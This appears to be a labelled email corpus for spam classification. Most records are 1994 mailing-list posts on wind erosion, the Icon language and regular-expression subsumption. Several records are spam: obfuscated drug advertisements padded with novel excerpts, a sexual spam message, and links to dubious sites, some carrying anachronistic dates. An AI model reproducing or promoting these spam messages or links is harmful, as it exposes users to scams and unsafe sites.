""Abort"" from the ""Abort, Retry, or Fail"" message. TEXAS VIRUS: Makes sure that it's bigger than any other file. ADAM AND EVE VIRUS: Takes a couple of bytes out of your Apple. CONGRESSIONAL VIRUS: The computer locks up, screen splits erratically with a message appearing on each half blaming the other side for the problem. AIRLINE VIRUS: You're in Dallas, but you data is in Singapore. FREUDIAN VIRUS: Your computer becomes obsessed with marrying its own motherboard. PBS VIRUS: Your programs stop every few minutes to ask for money. ELVIS VIRUS: Your computer gets fat, slow and lazy, then self destructs; only to resurface at shopping malls and service stations across rural America. OLLIE NORTH VIRUS: Causes your printer to become a paper shredder. NIKE VIRUS: Just does it. SEARS VIRUS: Your data won't appear unless you buy new cables, power supply, and a set of shocks. JIMMY HOFFA VIRUS: Your programs can never be found again. CONGRESSIONAL VIRUS #2: Runs every program on the hard drive simultaneously, but doesn't allow the user to accomplish anything. KEVORKIAN VIRUS: Helps you computer shut down as an act of mercy. IMELDA MARCOS VIRUS: Sings you a song (slightly off key) on boot up, then subtracts money from your Quicken account and spends it all on expensive shoes it purchases through Prodigy. STAR TREK VIRUS: Invades your system in places where no virus has gone before. HEALTH CARE VIRUS: Tests your system for a day, finds nothing wrong, and sends you a bill for $4,500. GEORGE BUSH VIRUS: It starts by boldly stating, ""Read my docs....No new files!"" on the screen. It proceeds to fill up all the free space on your hard drive with new files, then blames it on the Congressional virus. CLEVELAND INDIANS VIRUS: Makes your 486/50 machine perform like a 286/AT. LAPD VIRUS: It claims it feels threatened by the other files on your PC and erases them in ""self defense"". CHICAGO CUBS VIRUS: Your PC makes frequent mistakes and comes in last in the reviews, but you still love it. ORAL ROBERTS VIRUS: Claims that if you don't send it a million dollars, it's programmer will take it back. So please use your virus scan. Don't let any of these viruses happen to your PC!!! ",0,0 Iestyn Chen ,jim@zingg.weru.ksu.edu.weru.ksu.edu,"Thu, 17 Nov 1994 07:38:53 -0700",Re: VALotUM new,"Hi C x I t A o L n I n S y X k A c N p A c X i V l I q A c G o R k A e V r A m L z I g U w M l http://www.theekretalaxner.com nadi geeze heartines triquetrou guffa The Jackal! exclaimed the Frenchman. It is his carte de visite-his calling card. He announces his arrival. *16* The midafternoon sun was suspended, immobile, burning the sky and the land, a ringed globe of fire intent only on scorching everything beneath it. And the alleged computerized research offered by the Canadian ",1,1 Ted Zobeck ,Multiple recipients of list ,"Tue, 22 Nov 1994 14:08:57 -0600",Topic: WInd Tunnel Job,"for more information on this position, contact Ron Greeley at the address below... DEPARTMENT OF GEOLOGY ARIZONA STATE UNIVERSITY TEMPE, ARIZONA Planetary Geoscientist. Wind Tunnel Scientist/Engineer to fill existing position at the Planetary Aeolian Laboratory at NASA-Ames Research Center, San Francisco Bay Area, California. Responsible for day-to-day operation of unique wind tunnels used to simulate the surfaces of Mars and Venus to carry out experiments defined by planetary scientists. Requires master's degree in geoscience or engineering with an emphasis on fluid dynamics; prefer candidate with experience in planetary science programs; must have aptitude for designing experimental apparatus and working with instruments; position is supported through Arizona State University. This is a grant-funded position. Salary open. Initial review of applications will begin on December 16, 1994, and will continue every week thereafter until position is filled. Arizona State University is an Equal Opportunity Affirmation Action Employer Send letter of interest, resume, and names of three potential references to: Dr. Ronald Greeley Department of Geology Arizona State University Box 871404 Tempe, AZ 85287-1404 ------------------------------------------------------------------------------ Ted M. Zobeck USDA-ARS Wind Erosion Research Lubbock, TX tzobeck@lubbock.ars.ag.gov ",0,0 Jeanette ,earnestine@zingg.weru.ksu.edu.weru.ksu.edu,"Fri, 25 Nov 1994 00:10:28 -0400",esthetical Woman and innnocent little well-favoured pussiees!," sightly russian grand Lady here! http://bestgamecube.info/psfucknextdoor.htm?iSPhfd.fX,hj D.e..I.e.t.e http://bestgamecube.info ",1,1 Melanie Heise ,cindy@zingg.weru.ksu.edu.weru.ksu.edu,"Sun, 27 Nov 1994 09:12:03 -0700",Re: CtALlaS news,"Hi, A C X L V V P m I a e I A r b A n v A L o i L a i G I z e I x t R U a n S ra A M c http://www.claiccampe.com they started off once more. Before long the barrels broke free again and turned and twisted off down the stream, and out into the main current Then he found it quite as difficult to stick on as he had feared; but he managed it somehow, though it was miserably uncomfortable. Luckily he was very light, and the barrel was a good big one and being rather leaky had now shipped a small amount of water. All the same it was like trying ",1,1 Ted Zobeck ,Multiple recipients of list ,"Fri, 02 Dec 1994 16:18:40 -0600",Topic: Saltation Video," contact Ann at the address below for more information... SALTATION VIDEO Dear Colleague, During the 'Response of Eolian Processes to Global Change' Conference at Zzyzx, California in March this year, I showed a video compiled from some of our high-speed cine-films. The films were taken by a group in the Department of Engineering of Aberdeen University, Scotland, who are interested in saltation collisions. They show sand grains saltating over a granular bed in a wind tunnel, and focus on their interaction with the surface rather than looking at the trajectories. Individual collisions are seen because (i) the film is run at 3000 frames per second and (ii) the number of saltating grains is less than found in natural conditions. At the meeting several people expressed interest in the video as a teaching aid. I have therefore added a few graphics to explain modes of transport and the experimental setup. If you are interested in purchasing the video, it is available from me, Ann Rice Engineering Department Fraser Noble Building Aberdeen University Aberdeen, AB9 2UE Scotland UK Tel: 0224-273397 Fax: 0224-272497 e-mail: a.rice@abdn.ac.uk The cost in the USA and Canada is 40 pounds + 5-60 pounds post and packing = 46-60 pounds (to be paid in pounds sterling to 'The University of Aberdeen (Engineering Department)'. Postage to other countries will be different and there may be tax in Europe and the UK, but I will be happy to quote you the appropriate rate. If possible, we would prefer the money upfront, but I know that this may be difficult. The video is very much an amateur production, so don't expect a polished professional product! It has been produced solely as a teaching aid, so that students can see the saltation process in action. I look forward to hearing from you if you are intested in the video. Yours sincerely Ann Rice Forwarded by Ted Zobeck tzobeck@lubbock.ars.ag.gov ",0,0 Ted Zobeck ,Multiple recipients of list ,"Fri, 02 Dec 1994 16:23:33 -0600",Ecological Modelling," Announcing the WWW-Server for Ecological Modelling ----------------------------------- I have opened a WWW-server providing links to ecological simulation models and descriptions of these models. The idea is to provide ecological modellers and other people interested in models an easy access to software and documentation. It is also thought for modellers who want to make their models easily available. At the moment the possibilities exists to search for models - by name or - by subject. Additional this WWW-Server integrates an interface to ECOBAS (Documentation of mathematical formulation of ecological processes). [!!!The public access to ECOBAS will be available in January 1995!!!] Ideally, the server could become a central pool of information for ecological modelling. Access: http://dino.wiz.uni-kassel.de/ecobas.html At this stage I invite modellers to inform us about links to available models and documentations (An online fill-out-form exists in this server). Also any suggestions and information about problems are welcome. Dr. Joachim Benz University of Kassel, Faculty of Agriculture, International Rural Development and Environmental Protection (FB 11) Nordbahnhofstr. 1a D-37213 Witzenhausen, Germany Phone: +49-5542-981560 FAX: +49-5542-981670 e-mail: benz@wiz.uni-kassel.de ",0,1 vorbeck@cs.sfu.ca,icon-group-l@cs.arizona.edu,"Wed, 07 Dec 1994 22:16:49 +0000",[Q] Algorithm for Regexp Subsumption,"Hi, are there any algorithms out there for checking whether a regular expression subsumes another one, ie L(E1) is a subset of L(E2)? I have a ""brute-force"" solution along these lines: 1. Compute equivalent finite automatas A1 (resp A2) for E1 (resp E2). 2. Compute A3 = A1 intersected with the complement of A2. 3. Test L(A3) = empty ==> E2 subsumes E1. But I wonder if this couldn't be done directly on the regular expressions E1 and E2? As an aside note, just a reminder that regexp inequivalence is NP-Hard (Garey & Johnson), so I don't expect anything extremely efficient. Any help would be very much appreciated. Please Email any replies to vorbeck@cs.sfu.ca as I don't usually read these newsgroups. Thanks ! -- Martin Vorbeck ",0,0 """Brian D. Wilson"" ",icon-group-l@cs.arizona.edu,"Wed, 07 Dec 1994 21:35:25 +0000",Where does one get ProIcon for the Mac?," Newbie to Icon has two questions: Where does one get the (newly free) ProIcon for the Mac? Is there a source repository somewhere? ------------------------------------------------------------------------- Brian D. Wilson | I used to drive a Heisenberg Uncertainty car, Jet Propulsion Laboratory | but I could never read the speedometer bdw@logos.jpl.nasa.gov | without getting lost. -- Not mine ------------------------------------------------------------------------- ",0,0 jeffery@ringer.cs.utsa.edu,icon-group-l@cs.arizona.edu,"Tue, 06 Dec 1994 22:35:14 +0000",Re: Status of Icon on the Mac?,"Tim Gilbert (gilbert@marin.cc.ca.us) wrote: : Hi. Does anyone know what the status of icon on the Mac is? I wonder if : version 9.x will ever be ported. I don't care so much about the graphics : stuff as about the preproccessor... We are doing an Icon 9.0 on the Mac here at UT San Antonio, and while our main emphasis is on adding the graphics features, we will certainly also be providing all the other Icon 9.0 improvements such as the preprocessor. Our implementation is presently in alpha testing. We don't have the resources to orchestrate a separate non-graphics release, sorry. : On a related note, will the source code to ProIcon be publicly released : ant time in the forseeable future? I'd be willing to make a stab at : hacking up version 9... ProIcon uses various proprietary code that can never be released. Some of the features in it are non-proprietary and might make it into other Mac versions of Icon at some point. -- Clint Jeffery cjeffery@cs.arizona.edu, jeffery@ringer.cs.utsa.edu The University of Texas at San Antonio ",0,0 ,icon-group,,Re: Where does one get ProIcon for the Mac?," ProIcon can be ftp'd from ftp.cs.arizona:/icon/packages/macintosh/mep*. Also available on diskettes for a nominal charge ($15, which includes shipping to addresses in the US, Canada and Mexico. $5 more covers postage anywhere else on the planet). If you'd like to receive the Icon Newsletter, published 3 times a year at no cost to its subscribers, send us your postal mailing address. The source code for ProIcon contains proprietary material, so we don't expect that it will be released. Source code for Icon itself is in the public domain, and is also available via ftp, or on magnetic media. The Icon Program Library is a compendium of useful and interesting programs and procedures written in Icon, also available via ftp or on magnetic media. Cliff Hathaway, Icon Project Dept. of Computer Science (602)621-4291 University of Arizona cliff@cs.arizona.edu (internet) Tucson, Ariz. 85721 {cmcl2,noao,uunet}!arizona!cliff (uucp) ",0,0 dave@cs.arizona.edu,icon-group-l@cs.arizona.edu,"Wed, 07 Dec 1994 21:38:35 -0700",Re: [Q] Algorithm for Regexp Subsumption,"In article <1994Dec7.221649.10939@cs.sfu.ca>, Martin Vorbeck wrote: } are there any algorithms out there for checking whether a regular }expression subsumes another one, ie L(E1) is a subset of L(E2)? I have a }""brute-force"" solution along these lines: } }1. Compute equivalent finite automatas A1 (resp A2) for E1 (resp E2). }2. Compute A3 = A1 intersected with the complement of A2. }3. Test L(A3) = empty ==> E2 subsumes E1. } }But I wonder if this couldn't be done directly on the regular }expressions E1 and E2? Another possibility would be to compute the minimized DFAs, then compute the minimized DFA of the union. If it's the same as either of the originals, you've got a match. Hard to say which method would be quicker. Since they're essentially duals of each other, I wouldn't be surprised if it was a wash. -Dave",0,0 cynthia@usenix.org,icon-group@cs.arizona.edu,"Thu, 08 Dec 1994 10:11:20 -0800",USENIX Association 1995 Technical Conference," 1995 USENIX ASSOCIATION TECHNICAL CONFERENCE January 16-20, 1995, New Orleans, Lousianna *************************************************** The latest technical developments in UNIX and advanced computing systems. . . Choose from among 20 Tutorials, attend Invited Talks, and learn details of never-before-published researchin the refereed papers sessions. Don't miss Mark Weiser's keynote talk on Ubiquitous Computing. Meet your peers and discuss common problems. Discuss with industry experts in a relaxed environment. And, get a hands-on look at the latest products in the Vendor Display. A partial list of topics includes: UNIX Security, Firewalls, System Administration, UNIX Programming, COM OLE, BSD, Mass Store, Streams, SIFT, Tcl/Tk, World Wide Web, Libraries, File Systems, Sendmail 8, Internet Cash and Commerce, and more. Program Chair: Peter Honeyman, CITI, University of Michigan TO OBTAIN FULL PROGRAM AND REGISTRATION INFORMATION: ==================================================== Telephone: 714 588 8649; Fax: 714 588 9706 Email: conference@usenix.org Automatic mailserver: Email to: info@usenix.org. Your message should contain the line ""send conferences catalog"". Conference information will be returned to you. World Wide Web: The USENIX URL is: http://www.usenix.org ",0,1 antimiro@loria.fr,icon-group-l@cs.arizona.edu,"Thu, 08 Dec 1994 20:58:20 +0100",Re: [Q] Algorithm for Regexp Subsumption,"In article <3c62kb$pnu@caslon.CS.Arizona.EDU>, dave@CS.Arizona.EDU (Dave Schaumann) writes: |> |> In article <1994Dec7.221649.10939@cs.sfu.ca>, |> Martin Vorbeck wrote: |> |> } are there any algorithms out there for checking whether a regular |> }expression subsumes another one, ie L(E1) is a subset of L(E2)? I have a |> }""brute-force"" solution along these lines: |> } |> }1. Compute equivalent finite automatas A1 (resp A2) for E1 (resp E2). |> }2. Compute A3 = A1 intersected with the complement of A2. |> }3. Test L(A3) = empty ==> E2 subsumes E1. |> } |> }But I wonder if this couldn't be done directly on the regular |> }expressions E1 and E2? |> |> Another possibility would be to compute the minimized DFAs, then |> compute the minimized DFA of the union. If it's the same as either |> of the originals, you've got a match. |> |> Hard to say which method would be quicker. Since they're essentially |> duals of each other, I wouldn't be surprised if it was a wash. |> |> -Dave Yes, it is possible to prove any regular inequality E1 =< E2 (as well as any regular equation E1 = E2) in a pure algebraic way -- without constructing DFA's for the expressions involved. 1. As far as regular equations are concerned, such a way has been described in [1]. It is an algebraic calculus presented in the form of a term-rewriting system. I have written a program in OBJ3 (an algebraic programming language) implementing this calculus. If someone is interested in getting the program (together with quite complete instructions how to run it, examples, etc.), send me please a request by e-mail. 2. Since E1 =< E2 is equivalent to E1 + E2 = E2, the abovementioned calculus can also be used for proving/disproving regular inequalities. However, there exists a more direct (and more efficient) algebraic procedure based on so-called ""partial derivatives"". Below I outline it. Consider the set Reg of regular expressions on a given alphabet A: Reg ::= 0 | 1 | x | Reg . Reg | Reg + Reg | Reg * where 0 denotes the empty language, 1 is a unit language, x is a letter from A, and the three other operations -- concatenation, regular union, and Kleene star -- have standard meaning. Let Reg0, Reg1 be subsets of Reg defined by the following grammars: Reg0 ::= 0 | x | Reg0 . Reg | Reg . Reg0 | Reg0 + Reg0 Reg1 ::= 1 | Reg1 . Reg1 | Reg1 + Reg | Reg + Reg1 | Reg * One can check that Reg is a disjoint union of Reg0 and Reg1 and that for any a0 \\in Reg0 and a1 \\in Reg1 the inequality 1 =< a0 is false and 1 =< a1 is true.) Let Set[Reg] denote the set of all finite sets of reg. expressions. DEFINITION ( [3] ) Given x \\in A, the function d_x : Reg -> Set[Reg], computing the set of partial derivatives of its argument w.r.t. x, is defined recursively by the following equations: d_x(0) = d_x(1) = {} (* an empty set *), d_x(y) = if y == x then { 1 } else {} fi, d_x(a+b) = d_x(a) \\cup d_x(b), d_x(a0.b) = d_x(a0).b, d_x(a1.b) = d_x(a1).b \\cup d_x(b), d_x(a*) = d_x(a).a* for all y\\in A, a,b \\in Reg, a0 \\in Reg0, a1 \\in Reg1. Here the extension of concatenation _._ to Set[Reg] is defined in the following way: R . 0 = {}, {} . t = {}, {0} . t = {}, {1} . t = {t}, {a} . t = {a.t} if a =/= 0, a =/= 1, (R \\cup R').t = (R.t)\\cup (R'.t) for any R, R' \\in Set[Reg], t \\in Reg, t =/= 0, a\\in Reg. -------------------- Given a set R \\in Set[Reg], let \\sum R be either 0 if R={}, or a sum (regular union) a + b + ... of non-zero elements a, b, ... of R. Note that here the regular union _+_ is considered to be associative, commutative and idempotent (while in the above definition of d_x() all regular expressions are treated as free terms). DEFINITION ( [2] ) Given a, b \\in Reg, x\\in A, and p \\in d_x(a), the inequality p =< \\sum d_x(b) is called a ""partial derivative of a regular inequality a =< b w.r.t. the letter x"". Let pd_x(a =< b) be the set of all partial derivatives of a =< b w.r.t. x. Given a set S of inequalities, let pd_x(S)=\\bigcup_{s\\in S}pd_x(s). ------------------ Iterating this definition, one obtains partial derivatives of a =< b w.r.t. non-empty words on A: pd_{wx}(a =< b) = pd_x(pd_w(a =< b)). for all w\\in A^+, x \\in A. THEOREM ( [2] ) 1. The set PD(a= Brian D. Wilson writes: > >Newbie to Icon has two questions: Two questions posted twice over? Have you been frequenting that new restaurant ""Twins"" in Manhattan? -- Alan D. Corre Emeritus Professor of Hebrew Studies University of Wisconsin-Milwaukee",0,0 jfriedl@nff.ncl.omron.co.jp,icon-group-l@cs.arizona.edu,"Fri, 09 Dec 1994 00:58:42 +0000",Re: [Q] Algorithm for Regexp Subsumption,"vorbeck@cs.sfu.ca (Martin Vorbeck) writes: |> are there any algorithms out there for checking whether a regular |> expression subsumes another one, ie L(E1) is a subset of L(E2)? I have a |> ""brute-force"" solution along these lines: |> |> 1. Compute equivalent finite automatas A1 (resp A2) for E1 (resp E2). Make sure you keep the context of your problem (whetever that might be) in mind when doing this. For example, the two regexes (a|a long regex) a( long regex)? (translate to your favorite flavor) are exactly equivalent in a true DFA engines (i.e. emacs), but not equivalent in some others (perl, python, etc.). FWIW, POSIX says they're the same. And FWIW, it's my opinion that being different is much more powerful. |> Please Email any replies to |> vorbeck@cs.sfu.ca |> as I don't usually read these newsgroups. Now might be a good time to start. *jeffrey* ------------------------------------------------------------------------- Jeffrey E.F. Friedl Omron Corporation, Kyoto Japan See my Jap/Eng dictionary at http://www.omron.co.jp/cgi-bin/j-e or http://www.cs.cmu.edu:8001/cgi-bin/j-e",0,1 goer@quads.uchicago.edu,icon-group-l@cs.arizona.edu,"Fri, 09 Dec 1994 15:27:47 +0000",Re: [Q] Algorithm for Regexp Subsumption,"jfriedl@nff.ncl.omron.co.jp writes: >vorbeck@cs.sfu.ca (Martin Vorbeck) writes: >|> are there any algorithms out there for checking whether a regular >|> expression subsumes another one, ie L(E1) is a subset of L(E2)? I have a >|> ""brute-force"" solution along these lines: >|> >|> 1. Compute equivalent finite automatas A1 (resp A2) for E1 (resp E2). > >Make sure you keep the context of your problem (whetever that might be) >in mind when doing this. To be sure. If you create a new DFA, L(E1) or L(E2), then the if you remove extra states correctly you should end up with the same DFA when your done if in fact L(E1) is a subset of L(E2). So in many computa- tional contexts, the question of whether one is a subset or not is not important. Put more succinctly, the regexp a|a* is going to result in the same DFA as a*, if done ""by the book."" -- -Richard L. Goerwitz goer@midway.uchicago.edu sorry, no witty saying ",0,0 Ken Childs ,"tommy@zingg.weru.ksu.edu.weru.ksu.edu, britney@zingg.weru.ksu.edu.weru.ksu.edu, deana@zingg.weru.ksu.edu.weru.ksu.edu, alexandria@zingg.weru.ksu.edu.weru.ksu.edu, krista@zingg.weru.ksu.edu.weru.ksu.edu, jewell@zingg.weru.ksu.edu.weru.ksu.edu","Sat, 10 Dec 1994 18:00:17 -0500",is your mental energy becoming bad,"be revel or break be beset it's astonish be granulate ",1,0 Ted Zobeck ,Multiple recipients of list ,"Mon, 12 Dec 1994 14:04:10 -0600",Re: global Change Master Di,"Received this on the Geomorph list and thought you might be interested. Contact John Scialdone for more information. Ted tzobeck@lubbock.ars.ag.gov *********************************************** I'm sending you information about our Global Change Master Directory (GCMD) information system, a metadata service directing users to Earth Science/Global Change research data. My primary responsibility is to populate the system with descriptions of earth science datasets available to researchers. If you or your colleagues are interested in listing data sets in the GCMD or could direct me to someone who has important data that should be known to the community, please contact me. The following few paragraphs will give you an overview of the system and access procedures. At your time, take a few minutes to read and feel free to try a session or two. Good luck in your research! The Global Change Master Directory (GCMD) The Global Change Master Directory (GCMD) project originates from NASA Goddard Space Flight Center's (GSFC) Global Change Data Center in Greenbelt, Maryland. A multidisciplinary database, the GCMD contains nearly 3000 data set descriptions of national and international remote sensing, in situ, and ground observational data. The U.S. contributors include NASA, NOAA, USGS, DOE, NBS, EPA, NSF, NCAR, and universities, while international holdings from Canada, Argentina, Brazil, Europe, Africa, Russia, Japan, and Australia are represented. The descriptions provide information such as geographic and temporal coverage, spacecraft/sensor, investigator, data contact, storage medium, parameters measured and derived, discipline, location, summary, and data quality. Some descriptions are provided with an automated connection to an external system for more detailed information, browsing, and data ordering capabilities. The GCMD hosts a 'home page' on the World Wide Web (WWW) featuring direct-querying via controlled fields and free-text Wide Area Information System (WAIS) searches of the GCMD, GCMD News, lists of data sources, and GCMD Documentation. The home page also provides access to the Committee on Earth Observing Satellites' (CEOS) International Directory Network (IDN), comprised of nodes in North America (NASA/GSFC), Europe (European Space Agency Earthnet Programme Office (ESA/EPO)), and Japan (National Space Development Agency (NASDA) Earth Observation Center). The construction and maintenance of the GCMD home page and underlying hypertext links is a high-priority activity of the GCMD staff, with new information added weekly and monthly. The GCMD home page can be accessed using WWW browsers such as Mosaic or MacWeb and the Uniform Resource Locator (URL) address http://gcmd.gsfc.nasa.gov/. Mosaic and MacWeb provide 'Forms' capability whereby users can submit queries directly to the GCMD database from the home page. The GCMD client can also be accessed via telnet gcmd.gsfc.nasa.gov. and login as 'gcdir'. The client will recognize your workstation and give you the X-window or ASCII interface. To access the NASA/GSFC node via modem, set to 8 bits, no parity, 1 stop bit, dial (301) 286-4000 (9600 baud) or (301) 286-9000 (2400 baud), Enter number: SISC, CALL COMPLETE , Username: YOUR NAME, Local: c gcmd, login: gcdir To access the European node, NSI/DECnet > $Set Host 29628, USERNAME: ESAPID or INTERNET > $TELNET 192.106.252.160, USERNAME: ESAPID *The CNES node is operational with X-Window and can be reached via ESA node* To access the Japanese node, NSI/DECnet > $Set Host 41950, USERNAME: NASDADIR or INTERNET > $TELNET 133.56.72.1, USERNAME: NASDADIR ************************************************************************* * John Scialdone Phone: (301) 441-4214 * * Atmospheric Science Coordinator FAX: (301) 441-9486 * * Global Change Master Directory scialdon@gcmd.gsfc.nasa.gov * * Hughes-STX Corporation ------To access the GCMD------* * 7701 Greenbelt Rd. telnet gcmd.gsfc.nasa.gov * * Suite 400 username:gcdir * * Greenbelt, MD 20770 http://gcmd.gsfc.nasa.gov/ * \\ / \\ ""Picture a bright blue ball just spinning, spinning free / \\ Dizzy with Eternity / \\ Paint it with a skin of sky, brush in some clouds and sea / \\ Call it home for you and me"" / ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^",0,1 Ted Zobeck ,"Richard Amerman , Dean Armbrust , Tom Cahill , ""Dajiang (DJ) Ding"" , David Favis Mortlock , Tom Gill , Dale Gillette , Jim Gregory , ""Larry J. Hagen"" , Joe Hawn , David James , Frank Larney , Jeff Lee , Bob Matsumura , Naser Mirzamostafa , Alan Moulin , Richard Peterson , Amare Retta , Keith Saxton , Ed Skidmore , Jean Steiner , Larry Stetler , John Tatarko , Roel Vining , Larry Wagner , Greg Wilson , Wind Erosion ","Wed, 14 Dec 1994 11:29:22 -0600",RE: Wind Erosion Discussion,"Greetings, Just thought you might be interested in the following information. I apologize to those who already have the information. Please pass this on to anyone you think may be interested. ******************************************************************************************* A new unmoderated discussion group on wind erosion is now available. This list was created to encourage free and open discussion of any aspect of wind erosion science, including but not limited to modeling, climatic influences, soils, agricultural and non-agricultural aspects of wind erosion, physics, economics, environmental impacts, etc. To subscribe send the following message to listproc@unicorn.acs.ttu.edu: subscribe wind_erosion (your name) You will receive a confirmation of your subscription and will be issued a password. Please reset your password as instructed in the return message. NOTE: The underline between the words 'wind' and 'erosion' must be present. You will be automatically be added to the list from the address from which your message is sent. Correspondence to all members of the list should be sent to: wind_erosion@unicorn.acs.ttu.edu Further information may be sent to list moderator Ted M. Zobeck at tzobeck@lubbock.ars.ag.gov. Ted Zobeck ",0,0 Ted Zobeck ,Multiple recipients of list ,"Wed, 14 Dec 1994 13:13:43 -0600",Re: PM-10,"Hello wind_erosion netters! Our lab is trying to relate wind erosion to PM-10 particles and we need instrumentation to collect PM-10 samples in the field. We are now using the mini-vol sampler but would like to explore alternative technologies. We hope to find something smaller than the Anderson high-vol and are familiar with the Cahill's drum sampler. Are there any other instruments suitable for ground-based field measurement of PM-10? I look forward to any replies. Ted Zobeck tzobeck@lubbock.ars.ag.gov ",0,0 Ted Zobeck ,Multiple recipients of list ,"Thu, 15 Dec 1994 08:09:52 -0600",Re: For new subscribers to ,"************************************************************************************************* The following message will be broadcast periodically to inform new members of the commands used in this list. I apologize to those who may have already received this notice. ************************************************************************************************** I would like to take this opportunity to welcome the new subscribers to the wind erosion discussion list - WIND_EROSION. This is an unmoderated discussion session open to anyone with sufficient interest and an e-mail address. Please feel free to discuss any aspect of wind erosion science (or even tangental topics) as you see fit. Ask that burning question and start a conversation! I would like to encourage you to introduce yourself when you first become active in a discussion. My name is Ted M. Zobeck, PhD. I am a soil scientist (wind erosion) with the United States Department of Agriculture, Agriculutral Research Service. My interests are wind erosion prediction/modeling, prediction of temporal and spatial changes in surface soil properties, and application of wind erosion science to global change research. I am located in Lubbock, Texas, an area that experiences relatively frequent wind erosion events. Now for a little housekeeping. You may be interested in the command syntax for a few common listproc commands. The following commands may be sent to listproc@unicorn.acs.ttu.edu: 'set wind_erosion mail ack' your message is sent back to you after it is sent to others 'set wind_erosion mail noack' message not sent back to you 'set wind_erosion mail postpone' messages not sent to you until mode changed again (ie use when you go on vacation). 'set wind_erosion mail digest' your message is not sent back to you. New messages are not sent to you as they arrive, but accumulated into digests that are periodically sent to you. 'recipients wind_erosion' get a listing of all non-concealed people subscribed. 'index wind_erosion' get a listing of archived messages 'get wind_erosion (archive name)' get a copy of the archive named. Two ways to remove yourself from the list: 'unsubscribe wind_erosion' or 'signoff wind_erosion' Remember, these commands only work on listproc@unicorn.acs.ttu.edu. General discussion that will be sent to all members of the list should be sent to wind_erosion@unicorn.acs.ttu.edu. Any questions, comments, or problems can be addressed to the list manager, Ted Zobeck at tzobeck@lubbock.ars.ag.gov. Please share the subscription information with anyone that may be interested in joining the fun. I look forward to many open, active discussions. Remember that we have or will soon have members from all continents so please keep the slang and abbreviations to a minimum. Cheers, Ted ",0,0 jeffl@heart.cor.epa.gov,Multiple recipients of list ,"Thu, 15 Dec 1994 12:35:23 -0600",Introduction,"reetings! I've recently joined the list so, as Ted Zobeck suggested, I'm sending this intoduction. My main interest is soil erosion (wind, water) as affected by global climate change. Up to now, my approach has been to run a site model (EPIC) for 100 years at each of 100 sites in a region such as the US cornbelt, and to use a statistical framework to get regional means. I plan to move more toward a spatially explicit (GIS) approach, mainly because I'd like to know where the eroded soil goes, and how fast. This is part of a latger GIS oriented project at this lab which is starting to focus on the Columbia River Basin in the northwestern US. This involves steep, forested land as well as rangelands and agricultural lands. I'd be particularly interested in hearing from people (modellers, experimentors) who are researching erosion and climate change; erosion on steep or forested lands; or spatially explicit/GIS approaches to modelling erosion. Dr. Jeffrey J. Lee jeffl@mail.cor.epa.gov US EPA 503 754-4578 Environmental Rsearch Laboratory FAX: 503 754-4799 200 SW 35 St. Corvallis,OR 97333 USA ",0,0 stetler@mail.wsu.edu,Multiple recipients of list ,"Thu, 15 Dec 1994 14:15:33 -0600",Introduction & Research Interests,"Hello from the snowy northwest I have just signed on the wind erosion discussion list and would like to introduce myself. I am a research scientists working out of the Dept. of Biological Systems Engineering, Washington State University. My duties are directly geared to the USDA/ARS and US EPAs ' Columbia Plateau PM10/Wind Erosion Project'. This project involves several faculty of WSU, ARS scientists, U of Idaho faculty, and various segments of Ag coperative research. Our mission is to measure wind erosion and simultaneous PM10 emissions from agricultural fields on the Columbia Plateau and to model dust emission and transportation across the region. Products will be displayed in GIS format where high emission areas will be able to be identified. My primary responsibilities involve field-scale measurements of wind erosion, PM10, and met data. To do this, we currently maintain 3 sites across the Plateau that consist of a full met station (5 wind speeds, 3 temps, radiation, wind direction, etc.), 8 low-vol PM10 samplers (at 4 heights over 3 towers), 2 high-vol PM10 samplers (Anderson), and 12 poles each with 5 dust samplers. All data are collected on a data logger, which also controls the equipment when an erosion event is occurring. I also am in charge of using our new portable wind tunnel to measure erosion and dust emissions. This tunnel (designed & built in Pullman) is used to gather erosion/emission data across the entire study area on as many soil types and field conditions as possible. Initial field use of the tunnel took place last August and results are promising. The ultimate goal of my research is to develop an emission model for PM10 that will be fed into the erosion/transport model for dispersion. I am a geologist specializing in sedimentology and eolian mechanics. I also have done alot of work on climatic-eolian interactions on the Hanford Site. GIS has shown itself to be a critical component of this type of work. I am interested in hearing from anyone doing similar research utilizing GIS and climatic-eolian factors. I am also interested in wind tunnel designs, high resolution data of coherent structures, roughness effects on such structures, and grain entrainment. Anyone out there? Larry Dr. Larry D. Stetler 213 Smith Hall e-mail: stetler@mail.wsu.edu Washington State University phone: (509)335-3984 Pullman, WA 99164-6120 fax: 5093357786 ",0,0 dkuhlman@netcom.com,icon-group-l@cs.arizona.edu,"Fri, 16 Dec 1994 15:51:50 +0000",Backtracking in Icon,"An article in the latest ""Icon Analyst"" reported frequency of use of various control structures in Icon programs, but backtracking was mentioned only briefly. When I first learned about backtracking and goal seeking behavior in Icon I thought, ""Wow. Now I can have backtracking like I had in Prolog, AND I don't have to try to write loops and if statements in screwy ways."" But now, in spite of the fact that I have a language with a strong backtracking mechanism, I find that I don't use it much, except of course, for trivial constructs like: (checkValid(x) | write(""error"")) which I feel I have to write instead of an 'if' statement so that I can feel like a cool Icon programmer. Anyway, I'd be interested to know if others use backtracking more heavily, or whether maybe this is just a ""neat"" but not so useful feature of Icon. Or, could it be that the fact that Icon does not have logical variables, as Prolog does, make backtracking and goal seeking evaluation less usable? -- ---------------------- Dave Kuhlman Reify, Redwood City, CA Internet: dkuhlman@netcom.com ---------------------- ",0,0 Ralph Griswold ,dkuhlman@netcom.com,"Fri, 16 Dec 1994 09:46:11 -0700",Re: Backtracking in Icon,"Backtracking is something that occurs at runtime. The article on static analysis in the last issue of the Icon Analyst deal only with static analysis -- that appears in programs, not how they are used. Future issues of the Analyst will address dynamic analysis and show, for example, how many times expressions are resumed to produce alternative results. Ralph E. Griswold ralph@cs.arizona.edu Department of Computer Science uunet!arizona!ralph The University of Arizona 602-621-6609 (voice) Tucson, AZ 85721 602-621-4246 (fax) ",0,0 Zvi Lamm ,icon-group@cs.arizona.edu,"Fri, 16 Dec 1994 19:49:16 +0200",Re: Backtracking," A couple of months ago I asked about backtraking and got about 3 answers.. One was neat example of course scheduling. I can send it to anyone interested (if the original programmer is not around...). I still think that backtracking is not used and explained enough. It is really a great trick! It is a rather important control structure, and, when part of a language enriches the ways in which porblems are solved. Ehud Lamm ",0,0 johnp@utafll.uta.edu,icon-group@cs.arizona.edu,"Fri, 16 Dec 1994 14:44:13 -0600",Re: Backtracking," Dave Kuhlman writes: >Anyway, I'd be interested to know if others use backtracking >more heavily, or whether maybe this is just a ""neat"" but >not so useful feature of 